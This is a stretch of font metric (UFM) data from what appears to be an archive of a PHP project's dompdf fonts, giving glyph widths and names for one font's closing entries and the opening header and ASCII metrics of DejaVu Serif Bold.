U 9846 ; WX 602 ; N uni2676 ; G 2757
U 9847 ; WX 602 ; N uni2677 ; G 2758
U 9848 ; WX 602 ; N uni2678 ; G 2759
U 9849 ; WX 602 ; N uni2679 ; G 2760
U 9850 ; WX 602 ; N uni267A ; G 2761
U 9851 ; WX 602 ; N uni267B ; G 2762
U 9852 ; WX 602 ; N uni267C ; G 2763
U 9853 ; WX 602 ; N uni267D ; G 2764
U 9854 ; WX 602 ; N uni267E ; G 2765
U 9855 ; WX 602 ; N uni267F ; G 2766
U 9856 ; WX 602 ; N uni2680 ; G 2767
U 9857 ; WX 602 ; N uni2681 ; G 2768
U 9858 ; WX 602 ; N uni2682 ; G 2769
U 9859 ; WX 602 ; N uni2683 ; G 2770
U 9860 ; WX 602 ; N uni2684 ; G 2771
U 9861 ; WX 602 ; N uni2685 ; G 2772
U 9862 ; WX 602 ; N uni2686 ; G 2773
U 9863 ; WX 602 ; N uni2687 ; G 2774
U 9864 ; WX 602 ; N uni2688 ; G 2775
U 9865 ; WX 602 ; N uni2689 ; G 2776
U 9866 ; WX 602 ; N uni268A ; G 2777
U 9867 ; WX 602 ; N uni268B ; G 2778
U 9872 ; WX 602 ; N uni2690 ; G 2779
U 9873 ; WX 602 ; N uni2691 ; G 2780
U 9874 ; WX 602 ; N uni2692 ; G 2781
U 9875 ; WX 602 ; N uni2693 ; G 2782
U 9876 ; WX 602 ; N uni2694 ; G 2783
U 9877 ; WX 602 ; N uni2695 ; G 2784
U 9878 ; WX 602 ; N uni2696 ; G 2785
U 9879 ; WX 602 ; N uni2697 ; G 2786
U 9880 ; WX 602 ; N uni2698 ; G 2787
U 9881 ; WX 602 ; N uni2699 ; G 2788
U 9882 ; WX 602 ; N uni269A ; G 2789
U 9883 ; WX 602 ; N uni269B ; G 2790
U 9884 ; WX 602 ; N uni269C ; G 2791
U 9888 ; WX 602 ; N uni26A0 ; G 2792
U 9889 ; WX 602 ; N uni26A1 ; G 2793
U 9904 ; WX 602 ; N uni26B0 ; G 2794
U 9905 ; WX 602 ; N uni26B1 ; G 2795
U 9985 ; WX 602 ; N uni2701 ; G 2796
U 9986 ; WX 602 ; N uni2702 ; G 2797
U 9987 ; WX 602 ; N uni2703 ; G 2798
U 9988 ; WX 602 ; N uni2704 ; G 2799
U 9990 ; WX 602 ; N uni2706 ; G 2800
U 9991 ; WX 602 ; N uni2707 ; G 2801
U 9992 ; WX 602 ; N uni2708 ; G 2802
U 9993 ; WX 602 ; N uni2709 ; G 2803
U 9996 ; WX 602 ; N uni270C ; G 2804
U 9997 ; WX 602 ; N uni270D ; G 2805
U 9998 ; WX 602 ; N uni270E ; G 2806
U 9999 ; WX 602 ; N uni270F ; G 2807
U 10000 ; WX 602 ; N uni2710 ; G 2808
U 10001 ; WX 602 ; N uni2711 ; G 2809
U 10002 ; WX 602 ; N uni2712 ; G 2810
U 10003 ; WX 602 ; N uni2713 ; G 2811
U 10004 ; WX 602 ; N uni2714 ; G 2812
U 10005 ; WX 602 ; N uni2715 ; G 2813
U 10006 ; WX 602 ; N uni2716 ; G 2814
U 10007 ; WX 602 ; N uni2717 ; G 2815
U 10008 ; WX 602 ; N uni2718 ; G 2816
U 10009 ; WX 602 ; N uni2719 ; G 2817
U 10010 ; WX 602 ; N uni271A ; G 2818
U 10011 ; WX 602 ; N uni271B ; G 2819
U 10012 ; WX 602 ; N uni271C ; G 2820
U 10013 ; WX 602 ; N uni271D ; G 2821
U 10014 ; WX 602 ; N uni271E ; G 2822
U 10015 ; WX 602 ; N uni271F ; G 2823
U 10016 ; WX 602 ; N uni2720 ; G 2824
U 10017 ; WX 602 ; N uni2721 ; G 2825
U 10018 ; WX 602 ; N uni2722 ; G 2826
U 10019 ; WX 602 ; N uni2723 ; G 2827
U 10020 ; WX 602 ; N uni2724 ; G 2828
U 10021 ; WX 602 ; N uni2725 ; G 2829
U 10022 ; WX 602 ; N uni2726 ; G 2830
U 10023 ; WX 602 ; N uni2727 ; G 2831
U 10025 ; WX 602 ; N uni2729 ; G 2832
U 10026 ; WX 602 ; N uni272A ; G 2833
U 10027 ; WX 602 ; N uni272B ; G 2834
U 10028 ; WX 602 ; N uni272C ; G 2835
U 10029 ; WX 602 ; N uni272D ; G 2836
U 10030 ; WX 602 ; N uni272E ; G 2837
U 10031 ; WX 602 ; N uni272F ; G 2838
U 10032 ; WX 602 ; N uni2730 ; G 2839
U 10033 ; WX 602 ; N uni2731 ; G 2840
U 10034 ; WX 602 ; N uni2732 ; G 2841
U 10035 ; WX 602 ; N uni2733 ; G 2842
U 10036 ; WX 602 ; N uni2734 ; G 2843
U 10037 ; WX 602 ; N uni2735 ; G 2844
U 10038 ; WX 602 ; N uni2736 ; G 2845
U 10039 ; WX 602 ; N uni2737 ; G 2846
U 10040 ; WX 602 ; N uni2738 ; G 2847
U 10041 ; WX 602 ; N uni2739 ; G 2848
U 10042 ; WX 602 ; N uni273A ; G 2849
U 10043 ; WX 602 ; N uni273B ; G 2850
U 10044 ; WX 602 ; N uni273C ; G 2851
U 10045 ; WX 602 ; N uni273D ; G 2852
U 10046 ; WX 602 ; N uni273E ; G 2853
U 10047 ; WX 602 ; N uni273F ; G 2854
U 10048 ; WX 602 ; N uni2740 ; G 2855
U 10049 ; WX 602 ; N uni2741 ; G 2856
U 10050 ; WX 602 ; N uni2742 ; G 2857
U 10051 ; WX 602 ; N uni2743 ; G 2858
U 10052 ; WX 602 ; N uni2744 ; G 2859
U 10053 ; WX 602 ; N uni2745 ; G 2860
U 10054 ; WX 602 ; N uni2746 ; G 2861
U 10055 ; WX 602 ; N uni2747 ; G 2862
U 10056 ; WX 602 ; N uni2748 ; G 2863
U 10057 ; WX 602 ; N uni2749 ; G 2864
U 10058 ; WX 602 ; N uni274A ; G 2865
U 10059 ; WX 602 ; N uni274B ; G 2866
U 10061 ; WX 602 ; N uni274D ; G 2867
U 10063 ; WX 602 ; N uni274F ; G 2868
U 10064 ; WX 602 ; N uni2750 ; G 2869
U 10065 ; WX 602 ; N uni2751 ; G 2870
U 10066 ; WX 602 ; N uni2752 ; G 2871
U 10070 ; WX 602 ; N uni2756 ; G 2872
U 10072 ; WX 602 ; N uni2758 ; G 2873
U 10073 ; WX 602 ; N uni2759 ; G 2874
U 10074 ; WX 602 ; N uni275A ; G 2875
U 10075 ; WX 602 ; N uni275B ; G 2876
U 10076 ; WX 602 ; N uni275C ; G 2877
U 10077 ; WX 602 ; N uni275D ; G 2878
U 10078 ; WX 602 ; N uni275E ; G 2879
U 10081 ; WX 602 ; N uni2761 ; G 2880
U 10082 ; WX 602 ; N uni2762 ; G 2881
U 10083 ; WX 602 ; N uni2763 ; G 2882
U 10084 ; WX 602 ; N uni2764 ; G 2883
U 10085 ; WX 602 ; N uni2765 ; G 2884
U 10086 ; WX 602 ; N uni2766 ; G 2885
U 10087 ; WX 602 ; N uni2767 ; G 2886
U 10088 ; WX 602 ; N uni2768 ; G 2887
U 10089 ; WX 602 ; N uni2769 ; G 2888
U 10090 ; WX 602 ; N uni276A ; G 2889
U 10091 ; WX 602 ; N uni276B ; G 2890
U 10092 ; WX 602 ; N uni276C ; G 2891
U 10093 ; WX 602 ; N uni276D ; G 2892
U 10094 ; WX 602 ; N uni276E ; G 2893
U 10095 ; WX 602 ; N uni276F ; G 2894
U 10096 ; WX 602 ; N uni2770 ; G 2895
U 10097 ; WX 602 ; N uni2771 ; G 2896
U 10098 ; WX 602 ; N uni2772 ; G 2897
U 10099 ; WX 602 ; N uni2773 ; G 2898
U 10100 ; WX 602 ; N uni2774 ; G 2899
U 10101 ; WX 602 ; N uni2775 ; G 2900
U 10132 ; WX 602 ; N uni2794 ; G 2901
U 10136 ; WX 602 ; N uni2798 ; G 2902
U 10137 ; WX 602 ; N uni2799 ; G 2903
U 10138 ; WX 602 ; N uni279A ; G 2904
U 10139 ; WX 602 ; N uni279B ; G 2905
U 10140 ; WX 602 ; N uni279C ; G 2906
U 10141 ; WX 602 ; N uni279D ; G 2907
U 10142 ; WX 602 ; N uni279E ; G 2908
U 10143 ; WX 602 ; N uni279F ; G 2909
U 10144 ; WX 602 ; N uni27A0 ; G 2910
U 10145 ; WX 602 ; N uni27A1 ; G 2911
U 10146 ; WX 602 ; N uni27A2 ; G 2912
U 10147 ; WX 602 ; N uni27A3 ; G 2913
U 10148 ; WX 602 ; N uni27A4 ; G 2914
U 10149 ; WX 602 ; N uni27A5 ; G 2915
U 10150 ; WX 602 ; N uni27A6 ; G 2916
U 10151 ; WX 602 ; N uni27A7 ; G 2917
U 10152 ; WX 602 ; N uni27A8 ; G 2918
U 10153 ; WX 602 ; N uni27A9 ; G 2919
U 10154 ; WX 602 ; N uni27AA ; G 2920
U 10155 ; WX 602 ; N uni27AB ; G 2921
U 10156 ; WX 602 ; N uni27AC ; G 2922
U 10157 ; WX 602 ; N uni27AD ; G 2923
U 10158 ; WX 602 ; N uni27AE ; G 2924
U 10159 ; WX 602 ; N uni27AF ; G 2925
U 10161 ; WX 602 ; N uni27B1 ; G 2926
U 10162 ; WX 602 ; N uni27B2 ; G 2927
U 10163 ; WX 602 ; N uni27B3 ; G 2928
U 10164 ; WX 602 ; N uni27B4 ; G 2929
U 10165 ; WX 602 ; N uni27B5 ; G 2930
U 10166 ; WX 602 ; N uni27B6 ; G 2931
U 10167 ; WX 602 ; N uni27B7 ; G 2932
U 10168 ; WX 602 ; N uni27B8 ; G 2933
U 10169 ; WX 602 ; N uni27B9 ; G 2934
U 10170 ; WX 602 ; N uni27BA ; G 2935
U 10171 ; WX 602 ; N uni27BB ; G 2936
U 10172 ; WX 602 ; N uni27BC ; G 2937
U 10173 ; WX 602 ; N uni27BD ; G 2938
U 10174 ; WX 602 ; N uni27BE ; G 2939
U 10178 ; WX 602 ; N uni27C2 ; G 2940
U 10181 ; WX 602 ; N uni27C5 ; G 2941
U 10182 ; WX 602 ; N uni27C6 ; G 2942
U 10204 ; WX 602 ; N uni27DC ; G 2943
U 10208 ; WX 602 ; N uni27E0 ; G 2944
U 10214 ; WX 602 ; N uni27E6 ; G 2945
U 10215 ; WX 602 ; N uni27E7 ; G 2946
U 10216 ; WX 602 ; N uni27E8 ; G 2947
U 10217 ; WX 602 ; N uni27E9 ; G 2948
U 10218 ; WX 602 ; N uni27EA ; G 2949
U 10219 ; WX 602 ; N uni27EB ; G 2950
U 10229 ; WX 602 ; N uni27F5 ; G 2951
U 10230 ; WX 602 ; N uni27F6 ; G 2952
U 10231 ; WX 602 ; N uni27F7 ; G 2953
U 10631 ; WX 602 ; N uni2987 ; G 2954
U 10632 ; WX 602 ; N uni2988 ; G 2955
U 10647 ; WX 602 ; N uni2997 ; G 2956
U 10648 ; WX 602 ; N uni2998 ; G 2957
U 10731 ; WX 602 ; N uni29EB ; G 2958
U 10746 ; WX 602 ; N uni29FA ; G 2959
U 10747 ; WX 602 ; N uni29FB ; G 2960
U 10752 ; WX 602 ; N uni2A00 ; G 2961
U 10799 ; WX 602 ; N uni2A2F ; G 2962
U 10858 ; WX 602 ; N uni2A6A ; G 2963
U 10859 ; WX 602 ; N uni2A6B ; G 2964
U 11013 ; WX 602 ; N uni2B05 ; G 2965
U 11014 ; WX 602 ; N uni2B06 ; G 2966
U 11015 ; WX 602 ; N uni2B07 ; G 2967
U 11016 ; WX 602 ; N uni2B08 ; G 2968
U 11017 ; WX 602 ; N uni2B09 ; G 2969
U 11018 ; WX 602 ; N uni2B0A ; G 2970
U 11019 ; WX 602 ; N uni2B0B ; G 2971
U 11020 ; WX 602 ; N uni2B0C ; G 2972
U 11021 ; WX 602 ; N uni2B0D ; G 2973
U 11026 ; WX 602 ; N uni2B12 ; G 2974
U 11027 ; WX 602 ; N uni2B13 ; G 2975
U 11028 ; WX 602 ; N uni2B14 ; G 2976
U 11029 ; WX 602 ; N uni2B15 ; G 2977
U 11030 ; WX 602 ; N uni2B16 ; G 2978
U 11031 ; WX 602 ; N uni2B17 ; G 2979
U 11032 ; WX 602 ; N uni2B18 ; G 2980
U 11033 ; WX 602 ; N uni2B19 ; G 2981
U 11034 ; WX 602 ; N uni2B1A ; G 2982
U 11364 ; WX 602 ; N uni2C64 ; G 2983
U 11373 ; WX 602 ; N uni2C6D ; G 2984
U 11374 ; WX 602 ; N uni2C6E ; G 2985
U 11375 ; WX 602 ; N uni2C6F ; G 2986
U 11376 ; WX 602 ; N uni2C70 ; G 2987
U 11381 ; WX 602 ; N uni2C75 ; G 2988
U 11382 ; WX 602 ; N uni2C76 ; G 2989
U 11383 ; WX 602 ; N uni2C77 ; G 2990
U 11385 ; WX 602 ; N uni2C79 ; G 2991
U 11386 ; WX 602 ; N uni2C7A ; G 2992
U 11388 ; WX 602 ; N uni2C7C ; G 2993
U 11389 ; WX 602 ; N uni2C7D ; G 2994
U 11390 ; WX 602 ; N uni2C7E ; G 2995
U 11391 ; WX 602 ; N uni2C7F ; G 2996
U 11800 ; WX 602 ; N uni2E18 ; G 2997
U 11807 ; WX 602 ; N uni2E1F ; G 2998
U 11810 ; WX 602 ; N uni2E22 ; G 2999
U 11811 ; WX 602 ; N uni2E23 ; G 3000
U 11812 ; WX 602 ; N uni2E24 ; G 3001
U 11813 ; WX 602 ; N uni2E25 ; G 3002
U 11822 ; WX 602 ; N uni2E2E ; G 3003
U 42760 ; WX 602 ; N uniA708 ; G 3004
U 42761 ; WX 602 ; N uniA709 ; G 3005
U 42762 ; WX 602 ; N uniA70A ; G 3006
U 42763 ; WX 602 ; N uniA70B ; G 3007
U 42764 ; WX 602 ; N uniA70C ; G 3008
U 42765 ; WX 602 ; N uniA70D ; G 3009
U 42766 ; WX 602 ; N uniA70E ; G 3010
U 42767 ; WX 602 ; N uniA70F ; G 3011
U 42768 ; WX 602 ; N uniA710 ; G 3012
U 42769 ; WX 602 ; N uniA711 ; G 3013
U 42770 ; WX 602 ; N uniA712 ; G 3014
U 42771 ; WX 602 ; N uniA713 ; G 3015
U 42772 ; WX 602 ; N uniA714 ; G 3016
U 42773 ; WX 602 ; N uniA715 ; G 3017
U 42774 ; WX 602 ; N uniA716 ; G 3018
U 42779 ; WX 602 ; N uniA71B ; G 3019
U 42780 ; WX 602 ; N uniA71C ; G 3020
U 42781 ; WX 602 ; N uniA71D ; G 3021
U 42782 ; WX 602 ; N uniA71E ; G 3022
U 42783 ; WX 602 ; N uniA71F ; G 3023
U 42786 ; WX 602 ; N uniA722 ; G 3024
U 42787 ; WX 602 ; N uniA723 ; G 3025
U 42788 ; WX 602 ; N uniA724 ; G 3026
U 42789 ; WX 602 ; N uniA725 ; G 3027
U 42790 ; WX 602 ; N uniA726 ; G 3028
U 42791 ; WX 602 ; N uniA727 ; G 3029
U 42889 ; WX 602 ; N uniA789 ; G 3030
U 42890 ; WX 602 ; N uniA78A ; G 3031
U 42891 ; WX 602 ; N uniA78B ; G 3032
U 42892 ; WX 602 ; N uniA78C ; G 3033
U 42893 ; WX 602 ; N uniA78D ; G 3034
U 42894 ; WX 602 ; N uniA78E ; G 3035
U 42896 ; WX 602 ; N uniA790 ; G 3036
U 42897 ; WX 602 ; N uniA791 ; G 3037
U 42922 ; WX 602 ; N uniA7AA ; G 3038
U 43000 ; WX 602 ; N uniA7F8 ; G 3039
U 43001 ; WX 602 ; N uniA7F9 ; G 3040
U 63173 ; WX 602 ; N uniF6C5 ; G 3041
U 64257 ; WX 602 ; N fi ; G 3042
U 64258 ; WX 602 ; N fl ; G 3043
U 64338 ; WX 602 ; N uniFB52 ; G 3044
U 64339 ; WX 602 ; N uniFB53 ; G 3045
U 64340 ; WX 602 ; N uniFB54 ; G 3046
U 64341 ; WX 602 ; N uniFB55 ; G 3047
U 64342 ; WX 602 ; N uniFB56 ; G 3048
U 64343 ; WX 602 ; N uniFB57 ; G 3049
U 64344 ; WX 602 ; N uniFB58 ; G 3050
U 64345 ; WX 602 ; N uniFB59 ; G 3051
U 64346 ; WX 602 ; N uniFB5A ; G 3052
U 64347 ; WX 602 ; N uniFB5B ; G 3053
U 64348 ; WX 602 ; N uniFB5C ; G 3054
U 64349 ; WX 602 ; N uniFB5D ; G 3055
U 64350 ; WX 602 ; N uniFB5E ; G 3056
U 64351 ; WX 602 ; N uniFB5F ; G 3057
U 64352 ; WX 602 ; N uniFB60 ; G 3058
U 64353 ; WX 602 ; N uniFB61 ; G 3059
U 64354 ; WX 602 ; N uniFB62 ; G 3060
U 64355 ; WX 602 ; N uniFB63 ; G 3061
U 64356 ; WX 602 ; N uniFB64 ; G 3062
U 64357 ; WX 602 ; N uniFB65 ; G 3063
U 64358 ; WX 602 ; N uniFB66 ; G 3064
U 64359 ; WX 602 ; N uniFB67 ; G 3065
U 64360 ; WX 602 ; N uniFB68 ; G 3066
U 64361 ; WX 602 ; N uniFB69 ; G 3067
U 64362 ; WX 602 ; N uniFB6A ; G 3068
U 64363 ; WX 602 ; N uniFB6B ; G 3069
U 64364 ; WX 602 ; N uniFB6C ; G 3070
U 64365 ; WX 602 ; N uniFB6D ; G 3071
U 64366 ; WX 602 ; N uniFB6E ; G 3072
U 64367 ; WX 602 ; N uniFB6F ; G 3073
U 64368 ; WX 602 ; N uniFB70 ; G 3074
U 64369 ; WX 602 ; N uniFB71 ; G 3075
U 64370 ; WX 602 ; N uniFB72 ; G 3076
U 64371 ; WX 602 ; N uniFB73 ; G 3077
U 64372 ; WX 602 ; N uniFB74 ; G 3078
U 64373 ; WX 602 ; N uniFB75 ; G 3079
U 64374 ; WX 602 ; N uniFB76 ; G 3080
U 64375 ; WX 602 ; N uniFB77 ; G 3081
U 64376 ; WX 602 ; N uniFB78 ; G 3082
U 64377 ; WX 602 ; N uniFB79 ; G 3083
U 64378 ; WX 602 ; N uniFB7A ; G 3084
U 64379 ; WX 602 ; N uniFB7B ; G 3085
U 64380 ; WX 602 ; N uniFB7C ; G 3086
U 64381 ; WX 602 ; N uniFB7D ; G 3087
U 64382 ; WX 602 ; N uniFB7E ; G 3088
U 64383 ; WX 602 ; N uniFB7F ; G 3089
U 64384 ; WX 602 ; N uniFB80 ; G 3090
U 64385 ; WX 602 ; N uniFB81 ; G 3091
U 64394 ; WX 602 ; N uniFB8A ; G 3092
U 64395 ; WX 602 ; N uniFB8B ; G 3093
U 64396 ; WX 602 ; N uniFB8C ; G 3094
U 64397 ; WX 602 ; N uniFB8D ; G 3095
U 64398 ; WX 602 ; N uniFB8E ; G 3096
U 64399 ; WX 602 ; N uniFB8F ; G 3097
U 64400 ; WX 602 ; N uniFB90 ; G 3098
U 64401 ; WX 602 ; N uniFB91 ; G 3099
U 64402 ; WX 602 ; N uniFB92 ; G 3100
U 64403 ; WX 602 ; N uniFB93 ; G 3101
U 64404 ; WX 602 ; N uniFB94 ; G 3102
U 64405 ; WX 602 ; N uniFB95 ; G 3103
U 64414 ; WX 602 ; N uniFB9E ; G 3104
U 64415 ; WX 602 ; N uniFB9F ; G 3105
U 64426 ; WX 602 ; N uniFBAA ; G 3106
U 64427 ; WX 602 ; N uniFBAB ; G 3107
U 64428 ; WX 602 ; N uniFBAC ; G 3108
U 64429 ; WX 602 ; N uniFBAD ; G 3109
U 64488 ; WX 602 ; N uniFBE8 ; G 3110
U 64489 ; WX 602 ; N uniFBE9 ; G 3111
U 64508 ; WX 602 ; N uniFBFC ; G 3112
U 64509 ; WX 602 ; N uniFBFD ; G 3113
U 64510 ; WX 602 ; N uniFBFE ; G 3114
U 64511 ; WX 602 ; N uniFBFF ; G 3115
U 65136 ; WX 602 ; N uniFE70 ; G 3116
U 65137 ; WX 602 ; N uniFE71 ; G 3117
U 65138 ; WX 602 ; N uniFE72 ; G 3118
U 65139 ; WX 602 ; N uniFE73 ; G 3119
U 65140 ; WX 602 ; N uniFE74 ; G 3120
U 65142 ; WX 602 ; N uniFE76 ; G 3121
U 65143 ; WX 602 ; N uniFE77 ; G 3122
U 65144 ; WX 602 ; N uniFE78 ; G 3123
U 65145 ; WX 602 ; N uniFE79 ; G 3124
U 65146 ; WX 602 ; N uniFE7A ; G 3125
U 65147 ; WX 602 ; N uniFE7B ; G 3126
U 65148 ; WX 602 ; N uniFE7C ; G 3127
U 65149 ; WX 602 ; N uniFE7D ; G 3128
U 65150 ; WX 602 ; N uniFE7E ; G 3129
U 65151 ; WX 602 ; N uniFE7F ; G 3130
U 65152 ; WX 602 ; N uniFE80 ; G 3131
U 65153 ; WX 602 ; N uniFE81 ; G 3132
U 65154 ; WX 602 ; N uniFE82 ; G 3133
U 65155 ; WX 602 ; N uniFE83 ; G 3134
U 65156 ; WX 602 ; N uniFE84 ; G 3135
U 65157 ; WX 602 ; N uniFE85 ; G 3136
U 65158 ; WX 602 ; N uniFE86 ; G 3137
U 65159 ; WX 602 ; N uniFE87 ; G 3138
U 65160 ; WX 602 ; N uniFE88 ; G 3139
U 65161 ; WX 602 ; N uniFE89 ; G 3140
U 65162 ; WX 602 ; N uniFE8A ; G 3141
U 65163 ; WX 602 ; N uniFE8B ; G 3142
U 65164 ; WX 602 ; N uniFE8C ; G 3143
U 65165 ; WX 602 ; N uniFE8D ; G 3144
U 65166 ; WX 602 ; N uniFE8E ; G 3145
U 65167 ; WX 602 ; N uniFE8F ; G 3146
U 65168 ; WX 602 ; N uniFE90 ; G 3147
U 65169 ; WX 602 ; N uniFE91 ; G 3148
U 65170 ; WX 602 ; N uniFE92 ; G 3149
U 65171 ; WX 602 ; N uniFE93 ; G 3150
U 65172 ; WX 602 ; N uniFE94 ; G 3151
U 65173 ; WX 602 ; N uniFE95 ; G 3152
U 65174 ; WX 602 ; N uniFE96 ; G 3153
U 65175 ; WX 602 ; N uniFE97 ; G 3154
U 65176 ; WX 602 ; N uniFE98 ; G 3155
U 65177 ; WX 602 ; N uniFE99 ; G 3156
U 65178 ; WX 602 ; N uniFE9A ; G 3157
U 65179 ; WX 602 ; N uniFE9B ; G 3158
U 65180 ; WX 602 ; N uniFE9C ; G 3159
U 65181 ; WX 602 ; N uniFE9D ; G 3160
U 65182 ; WX 602 ; N uniFE9E ; G 3161
U 65183 ; WX 602 ; N uniFE9F ; G 3162
U 65184 ; WX 602 ; N uniFEA0 ; G 3163
U 65185 ; WX 602 ; N uniFEA1 ; G 3164
U 65186 ; WX 602 ; N uniFEA2 ; G 3165
U 65187 ; WX 602 ; N uniFEA3 ; G 3166
U 65188 ; WX 602 ; N uniFEA4 ; G 3167
U 65189 ; WX 602 ; N uniFEA5 ; G 3168
U 65190 ; WX 602 ; N uniFEA6 ; G 3169
U 65191 ; WX 602 ; N uniFEA7 ; G 3170
U 65192 ; WX 602 ; N uniFEA8 ; G 3171
U 65193 ; WX 602 ; N uniFEA9 ; G 3172
U 65194 ; WX 602 ; N uniFEAA ; G 3173
U 65195 ; WX 602 ; N uniFEAB ; G 3174
U 65196 ; WX 602 ; N uniFEAC ; G 3175
U 65197 ; WX 602 ; N uniFEAD ; G 3176
U 65198 ; WX 602 ; N uniFEAE ; G 3177
U 65199 ; WX 602 ; N uniFEAF ; G 3178
U 65200 ; WX 602 ; N uniFEB0 ; G 3179
U 65201 ; WX 602 ; N uniFEB1 ; G 3180
U 65202 ; WX 602 ; N uniFEB2 ; G 3181
U 65203 ; WX 602 ; N uniFEB3 ; G 3182
U 65204 ; WX 602 ; N uniFEB4 ; G 3183
U 65205 ; WX 602 ; N uniFEB5 ; G 3184
U 65206 ; WX 602 ; N uniFEB6 ; G 3185
U 65207 ; WX 602 ; N uniFEB7 ; G 3186
U 65208 ; WX 602 ; N uniFEB8 ; G 3187
U 65209 ; WX 602 ; N uniFEB9 ; G 3188
U 65210 ; WX 602 ; N uniFEBA ; G 3189
U 65211 ; WX 602 ; N uniFEBB ; G 3190
U 65212 ; WX 602 ; N uniFEBC ; G 3191
U 65213 ; WX 602 ; N uniFEBD ; G 3192
U 65214 ; WX 602 ; N uniFEBE ; G 3193
U 65215 ; WX 602 ; N uniFEBF ; G 3194
U 65216 ; WX 602 ; N uniFEC0 ; G 3195
U 65217 ; WX 602 ; N uniFEC1 ; G 3196
U 65218 ; WX 602 ; N uniFEC2 ; G 3197
U 65219 ; WX 602 ; N uniFEC3 ; G 3198
U 65220 ; WX 602 ; N uniFEC4 ; G 3199
U 65221 ; WX 602 ; N uniFEC5 ; G 3200
U 65222 ; WX 602 ; N uniFEC6 ; G 3201
U 65223 ; WX 602 ; N uniFEC7 ; G 3202
U 65224 ; WX 602 ; N uniFEC8 ; G 3203
U 65225 ; WX 602 ; N uniFEC9 ; G 3204
U 65226 ; WX 602 ; N uniFECA ; G 3205
U 65227 ; WX 602 ; N uniFECB ; G 3206
U 65228 ; WX 602 ; N uniFECC ; G 3207
U 65229 ; WX 602 ; N uniFECD ; G 3208
U 65230 ; WX 602 ; N uniFECE ; G 3209
U 65231 ; WX 602 ; N uniFECF ; G 3210
U 65232 ; WX 602 ; N uniFED0 ; G 3211
U 65233 ; WX 602 ; N uniFED1 ; G 3212
U 65234 ; WX 602 ; N uniFED2 ; G 3213
U 65235 ; WX 602 ; N uniFED3 ; G 3214
U 65236 ; WX 602 ; N uniFED4 ; G 3215
U 65237 ; WX 602 ; N uniFED5 ; G 3216
U 65238 ; WX 602 ; N uniFED6 ; G 3217
U 65239 ; WX 602 ; N uniFED7 ; G 3218
U 65240 ; WX 602 ; N uniFED8 ; G 3219
U 65241 ; WX 602 ; N uniFED9 ; G 3220
U 65242 ; WX 602 ; N uniFEDA ; G 3221
U 65243 ; WX 602 ; N uniFEDB ; G 3222
U 65244 ; WX 602 ; N uniFEDC ; G 3223
U 65245 ; WX 602 ; N uniFEDD ; G 3224
U 65246 ; WX 602 ; N uniFEDE ; G 3225
U 65247 ; WX 602 ; N uniFEDF ; G 3226
U 65248 ; WX 602 ; N uniFEE0 ; G 3227
U 65249 ; WX 602 ; N uniFEE1 ; G 3228
U 65250 ; WX 602 ; N uniFEE2 ; G 3229
U 65251 ; WX 602 ; N uniFEE3 ; G 3230
U 65252 ; WX 602 ; N uniFEE4 ; G 3231
U 65253 ; WX 602 ; N uniFEE5 ; G 3232
U 65254 ; WX 602 ; N uniFEE6 ; G 3233
U 65255 ; WX 602 ; N uniFEE7 ; G 3234
U 65256 ; WX 602 ; N uniFEE8 ; G 3235
U 65257 ; WX 602 ; N uniFEE9 ; G 3236
U 65258 ; WX 602 ; N uniFEEA ; G 3237
U 65259 ; WX 602 ; N uniFEEB ; G 3238
U 65260 ; WX 602 ; N uniFEEC ; G 3239
U 65261 ; WX 602 ; N uniFEED ; G 3240
U 65262 ; WX 602 ; N uniFEEE ; G 3241
U 65263 ; WX 602 ; N uniFEEF ; G 3242
U 65264 ; WX 602 ; N uniFEF0 ; G 3243
U 65265 ; WX 602 ; N uniFEF1 ; G 3244
U 65266 ; WX 602 ; N uniFEF2 ; G 3245
U 65267 ; WX 602 ; N uniFEF3 ; G 3246
U 65268 ; WX 602 ; N uniFEF4 ; G 3247
U 65269 ; WX 602 ; N uniFEF5 ; G 3248
U 65270 ; WX 602 ; N uniFEF6 ; G 3249
U 65271 ; WX 602 ; N uniFEF7 ; G 3250
U 65272 ; WX 602 ; N uniFEF8 ; G 3251
U 65273 ; WX 602 ; N uniFEF9 ; G 3252
U 65274 ; WX 602 ; N uniFEFA ; G 3253
U 65275 ; WX 602 ; N uniFEFB ; G 3254
U 65276 ; WX 602 ; N uniFEFC ; G 3255
U 65279 ; WX 602 ; N uniFEFF ; G 3256
U 65529 ; WX 602 ; N uniFFF9 ; G 3257
U 65530 ; WX 602 ; N uniFFFA ; G 3258
U 65531 ; WX 602 ; N uniFFFB ; G 3259
U 65532 ; WX 602 ; N uniFFFC ; G 3260
U 65533 ; WX 602 ; N uniFFFD ; G 3261
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSerif-Bold.ufm000066600000412213151150442770016235 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Serif
FontSubfamily Bold
UniqueID DejaVu Serif Bold
FullName DejaVu Serif Bold
Version Version 2.37
PostScriptName DejaVuSerif-Bold
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
PreferredFamily DejaVu Serif
PreferredSubfamily Bold
Weight Bold
ItalicAngle 0
IsFixedPitch false
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 939
Descender -236
FontBBox -836 -389 1854 1145
StartCharMetrics 3506
U 32 ; WX 348 ; N space ; G 3
U 33 ; WX 439 ; N exclam ; G 4
U 34 ; WX 521 ; N quotedbl ; G 5
U 35 ; WX 838 ; N numbersign ; G 6
U 36 ; WX 696 ; N dollar ; G 7
U 37 ; WX 950 ; N percent ; G 8
U 38 ; WX 903 ; N ampersand ; G 9
U 39 ; WX 306 ; N quotesingle ; G 10
U 40 ; WX 473 ; N parenleft ; G 11
U 41 ; WX 473 ; N parenright ; G 12
U 42 ; WX 523 ; N asterisk ; G 13
U 43 ; WX 838 ; N plus ; G 14
U 44 ; WX 348 ; N comma ; G 15
U 45 ; WX 415 ; N hyphen ; G 16
U 46 ; WX 348 ; N period ; G 17
U 47 ; WX 365 ; N slash ; G 18
U 48 ; WX 696 ; N zero ; G 19
U 49 ; WX 696 ; N one ; G 20
U 50 ; WX 696 ; N two ; G 21
U 51 ; WX 696 ; N three ; G 22
U 52 ; WX 696 ; N four ; G 23
U 53 ; WX 696 ; N five ; G 24
U 54 ; WX 696 ; N six ; G 25
U 55 ; WX 696 ; N seven ; G 26
U 56 ; WX 696 ; N eight ; G 27
U 57 ; WX 696 ; N nine ; G 28
U 58 ; WX 369 ; N colon ; G 29
U 59 ; WX 369 ; N semicolon ; G 30
U 60 ; WX 838 ; N less ; G 31
